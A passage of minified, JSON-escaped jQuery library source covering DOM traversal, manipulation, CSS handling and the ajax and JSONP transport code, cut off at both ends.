h=1;while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(d=0;d\u003ca.length;d++)f(g).is(a[d])\u0026\u0026c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(i?i.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!R[a]?f.unique(e):e,(this.length\u003e1||N.test(d))\u0026\u0026M.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var V=\"abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|style)/i,bb=/\u003c(?:script|object|embed|option|style)/i,bc=new RegExp(\"\u003c(?:\"+V+\")\",\"i\"),bd=/checked\\s*(?:[^=]|=\\s*.checked.)/i,be=/\\/(java|ecma)script/i,bf=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,bg={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!=\"object\"\u0026\u0026a!==b)return this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function()\n{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]\u0026\u0026this[0].nodeType===1?this[0].innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!bg[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(var c=0,d=this.length;c\u003cd;c++)this[c].nodeType===1\u0026\u0026(f.cleanData(this[c].getElementsByTagName(\"*\")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,bp)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof j==\"string\"\u0026\u0026j.length\u003c512\u0026\u0026i===c\u0026\u0026j.charAt(0)===\"\u003c\"\u0026\u0026!bb.test(j)\u0026\u0026(f.support.checkClone||!bd.test(j))\u0026\u0026(f.support.html5Clone||!bc.test(j))\u0026\u0026(g=!0,h=f.fragments[j],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g\u0026\u0026(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026this[0].parentNode;if(g\u0026\u0026g.nodeType===11\u0026\u0026g.childNodes.length===1\u0026\u0026e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h\u003ci;h++){var j=(h\u003e0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test(\"\u003c\"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)\u0026\u0026(a.nodeType===1||a.nodeType===11)\u0026\u0026!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]\u0026\u0026bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement==\"undefined\"\u0026\u0026(b=b.ownerDocument||b[0]\u0026\u0026b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k==\"number\"\u0026\u0026(k+=\"\");if(!k)continue;if(typeof k==\"string\")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");var l=(Z.exec(k)||[\"\",\"\"])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement(\"div\");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l===\"table\"\u0026\u0026!p?o.firstChild\u0026\u0026o.firstChild.childNodes:m[1]===\"\u003ctable\u003e\"\u0026\u0026!p?o.childNodes:[];for(i=q.length-1;i\u003e=0;--i)f.nodeName(q[i],\"tbody\")\u0026\u0026!q[i].childNodes.length\u0026\u0026q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace\u0026\u0026X.test(k)\u0026\u0026o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]\u0026\u0026typeof (r=k.length)==\"number\")for(i=0;i\u003cr;i++)bn(k[i]);else bn(k);k.nodeType?h.push(k):h=f.merge(h,k)}if(d){g=function(a){return!a.type||be.test(a.type)};for(j=0;h[j];j++)if(e\u0026\u0026f.nodeName(h[j],\"script\")\u0026\u0026(!h[j].type||h[j].type.toLowerCase()===\"text/javascript\"))e.push(h[j].parentNode?h[j].parentNode.removeChild(h[j]):h[j]);else{if(h[j].nodeType===1){var s=f.grep(h[j].getElementsByTagName(\"script\"),g);h.splice.apply(h,[j+1,0].concat(s))}d.appendChild(h[j])}}return h},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName\u0026\u0026f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b\u0026\u0026b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle\u0026\u0026(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute\u0026\u0026i.removeAttribute(f.expando),delete d[c]}}}});var bq=/alpha\\([^)]*\\)/i,br=/opacity=([^)]*)/,bs=/([A-Z]|^ms)/g,bt=/^-?\\d+(?:px)?$/i,bu=/^-?\\d/,bv=/^([\\-+])=([\\-+.\\de]+)/,bw={position:\"absolute\",visibility:\"hidden\",display:\"block\"},bx=[\"Left\",\"Right\"],by=[\"Top\",\"Bottom\"],bz,bA,bB;f.fn.css=function(a,c){if(arguments.length===2\u0026\u0026c===b)return this;return f.access(this,a,c,!0,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)})},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bz(a,\"opacity\",\"opacity\");return c===\"\"?\"1\":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":f.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,c,d,e){if(!!a\u0026\u0026a.nodeType!==3\u0026\u0026a.nodeType!==8\u0026\u0026!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k\u0026\u0026\"get\"in k\u0026\u0026(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h===\"string\"\u0026\u0026(g=bv.exec(d))\u0026\u0026(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h=\"number\");if(d==null||h===\"number\"\u0026\u0026isNaN(d))return;h===\"number\"\u0026\u0026!f.cssNumber[i]\u0026\u0026(d+=\"px\");if(!k||!(\"set\"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c===\"cssFloat\"\u0026\u0026(c=\"float\");if(g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,!0,d))!==b)return e;if(bz)return bz(a,c)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]}}),f.curCSS=f.css,f.each([\"height\",\"width\"],function(a,b){f.cssHooks[b]={get:function(a,c,d){var e;if(c){if(a.offsetWidth!==0)return bC(a,b,d);f.swap(a,bw,function(){e=bC(a,b,d)});return e}},set:function(a,b){if(!bt.test(b))return b;b=parseFloat(b);if(b\u003e=0)return b+\"px\"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b\u0026\u0026a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?parseFloat(RegExp.$1)/100+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?\"alpha(opacity=\"+b*100+\")\":\"\",g=d\u0026\u0026d.filter||c.filter||\"\";c.zoom=1;if(b\u003e=1\u0026\u0026f.trim(g.replace(bq,\"\"))===\"\"){c.removeAttribute(\"filter\");if(d\u0026\u0026!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+\" \"+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:\"inline-block\"},function(){b?c=bz(a,\"margin-right\",\"marginRight\"):c=a.style.marginRight});return c}})}),c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(bA=function(a,b){var c,d,e;b=b.replace(bs,\"-$1\").toLowerCase(),(d=a.ownerDocument.defaultView)\u0026\u0026(e=d.getComputedStyle(a,null))\u0026\u0026(c=e.getPropertyValue(b),c===\"\"\u0026\u0026!f.contains(a.ownerDocument.documentElement,a)\u0026\u0026(c=f.style(a,b)));return c}),c.documentElement.currentStyle\u0026\u0026(bB=function(a,b){var c,d,e,f=a.currentStyle\u0026\u0026a.currentStyle[b],g=a.style;f===null\u0026\u0026g\u0026\u0026(e=g[b])\u0026\u0026(f=e),!bt.test(f)\u0026\u0026bu.test(f)\u0026\u0026(c=g.left,d=a.runtimeStyle\u0026\u0026a.runtimeStyle.left,d\u0026\u0026(a.runtimeStyle.left=a.currentStyle.left),g.left=b===\"fontSize\"?\"1em\":f||0,f=g.pixelLeft+\"px\",g.left=c,d\u0026\u0026(a.runtimeStyle.left=d));return f===\"\"?\"auto\":f}),bz=bA||bB,f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0\u0026\u0026c===0||!f.support.reliableHiddenOffsets\u0026\u0026(a.style\u0026\u0026a.style.display||f.css(a,\"display\"))===\"none\"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\\[\\]$/,bF=/\\r?\\n/g,bG=/#.*$/,bH=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\\/\\//,bM=/\\?/,bN=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,bO=/^(?:select|textarea)/i,bP=/\\s+/,bQ=/([?\u0026])_=[^\u0026]*/,bR=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=[\"*/\"]+[\"*\"];try{bV=e.href}catch(bY){bV=c.createElement(\"a\"),bV.href=\"\",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!=\"string\"\u0026\u0026bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(\" \");if(e\u003e=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h=\"GET\";c\u0026\u0026(f.isFunction(c)?(d=c,c=b):typeof c==\"object\"\u0026\u0026(c=f.param(c,f.ajaxSettings.traditional),h=\"POST\"));var i=this;f.ajax({url:a,type:h,dataType:\"html\",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()\u0026\u0026(a.done(function(a){c=a}),i.html(g?f(\"\u003cdiv\u003e\").append(c.replace(bN,\"\")).find(g):c)),d\u0026\u0026i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,\"\\r\\n\")}}):{name:b.name,value:c.replace(bF,\"\\r\\n\")}}).get()}}),f.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each([\"get\",\"post\"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)\u0026\u0026(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,\"script\")},getJSON:function(a,b,c){return f.get(a,b,c,\"json\")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":a.String,\"text html\":!0,\"text json\":f.parseJSON,\"text xml\":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q\u0026\u0026clearTimeout(q),p=b,n=m||\"\",v.readyState=a\u003e0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a\u003e=200\u0026\u0026a\u003c300||a===304){if(d.ifModified){if(y=v.getResponseHeader(\"Last-Modified\"))f.lastModified[k]=y;if(z=v.getResponseHeader(\"Etag\"))f.etag[k]=z}if(a===304)w=\"notmodified\",o=!0;else try{r=cc(d,x),w=\"success\",o=!0}catch(A){w=\"parsererror\",u=A}}else{u=w;if(!w||a)w=\"error\",a\u003c0\u0026\u0026(a=0)}v.status=a,v.statusText=\"\"+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t\u0026\u0026g.trigger(\"ajax\"+(o?\"Success\":\"Error\"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t\u0026\u0026(g.trigger(\"ajaxComplete\",[v,d]),--f.active||f.event.trigger(\"ajaxStop\"))}}typeof a==\"object\"\u0026\u0026(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d\u0026\u0026(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks(\"once memory\"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||\"abort\",p\u0026\u0026p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s\u003c2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+\"\").replace(bG,\"\").replace(bL,bW[1]+\"//\"),d.dataTypes=f.trim(d.dataType||\"*\").toLowerCase().split(bP),d.crossDomain==null\u0026\u0026(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]\u0026\u0026r[2]==bW[2]\u0026\u0026(r[3]||(r[1]===\"http:\"?80:443))==(bW[3]||(bW[1]===\"http:\"?80:443)))),d.data\u0026\u0026d.processData\u0026\u0026typeof d.data!=\"string\"\u0026\u0026(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t\u0026\u0026f.active++===0\u0026\u0026f.event.trigger(\"ajaxStart\");if(!d.hasContent){d.data\u0026\u0026(d.url+=(bM.test(d.url)?\"\u0026\":\"?\")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,\"$1_=\"+x);d.url=y+(y===d.url?(bM.test(d.url)?\"\u0026\":\"?\")+\"_=\"+x:\"\")}}(d.data\u0026\u0026d.hasContent\u0026\u0026d.contentType!==!1||c.contentType)\u0026\u0026v.setRequestHeader(\"Content-Type\",d.contentType),d.ifModified\u0026\u0026(k=k||d.url,f.lastModified[k]\u0026\u0026v.setRequestHeader(\"If-Modified-Since\",f.lastModified[k]),f.etag[k]\u0026\u0026v.setRequestHeader(\"If-None-Match\",f.etag[k])),v.setRequestHeader(\"Accept\",d.dataTypes[0]\u0026\u0026d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!==\"*\"?\", \"+bX+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend\u0026\u0026(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,\"No Transport\");else{v.readyState=1,t\u0026\u0026g.trigger(\"ajaxSend\",[v,d]),d.async\u0026\u0026d.timeout\u003e0\u0026\u0026(q=setTimeout(function(){v.abort(\"timeout\")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s\u003c2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};c===b\u0026\u0026(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery\u0026\u0026!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join(\"\u0026\").replace(bD,\"+\")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\\=)\\?(\u0026|$)|\\?\\?/i;f.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){return f.expando+\"_\"+cd++}}),f.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e=b.contentType===\"application/x-www-form-urlencoded\"\u0026\u0026typeof b.data==\"string\";if(b.dataTypes[0]===\"jsonp\"||b.jsonp!==!1\u0026\u0026(ce.test(b.url)||e\u0026\u0026ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l=\"$1\"+h+\"$2\";b.jsonp!==!1\u0026\u0026(j=j.replace(ce,l),b.url===j\u0026\u0026(e\u0026\u0026(k=k.replace(ce,l)),b.data===k\u0026\u0026(j+=(/\\?/.test(j)?\"\u0026\":\"?\")+b.jsonp+\"=\"+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g\u0026\u0026f.isFunction(i)\u0026\u0026a[h](g[0])}),b.converters[\"script json\"]=function(){g||f.error(h+\" was not called\");return g[0]},b.dataTypes[0]=\"json\";return\"script\"}}),f.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter(\"script\",function(a){a.cache===b\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\",a.global=!1)}),f.ajaxTransport(\"script\",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName(\"head\")[0]||c.documentElement;return{send:function(f,g){d=c.createElement(\"script\"),d.async=\"async\",a.scriptCharset\u0026\u0026(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e\u0026\u0026d.parentNode\u0026\u0026e.removeChild(d),d=b,c||g(200,\"success\")},e.insertBefore(d,e.firstChild)},abort:function(){d\u0026\u0026d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal\u0026\u0026ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a\u0026\u0026\"withCredentials\"in a})}(f.ajaxSettings.xhr()),f.support.ajax\u0026\u0026f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType\u0026\u0026h.overrideMimeType\u0026\u0026h.overrideMimeType(c.mimeType),!c.crossDomain\u0026\u0026!e[\"X-Requested-With\"]\u0026\u0026(e[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent\u0026\u0026c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d\u0026\u0026(e||h.readyState===4)){d=b,i\u0026\u0026(h.onreadystatechange=f.noop,cf\u0026\u0026delete ch[i]);if(e)h.readyState!==4\u0026\u0026h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n\u0026\u0026n.documentElement\u0026\u0026(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=\"\"}!j\u0026\u0026c.isLocal\u0026\u0026!c.crossDomain?j=m.text?200:404:j===1223\u0026\u0026(j=204)}}}catch(p){e||g(-1,p)}m\u0026\u0026g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf\u0026\u0026(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d\u0026\u0026d(0,1)}}}});var 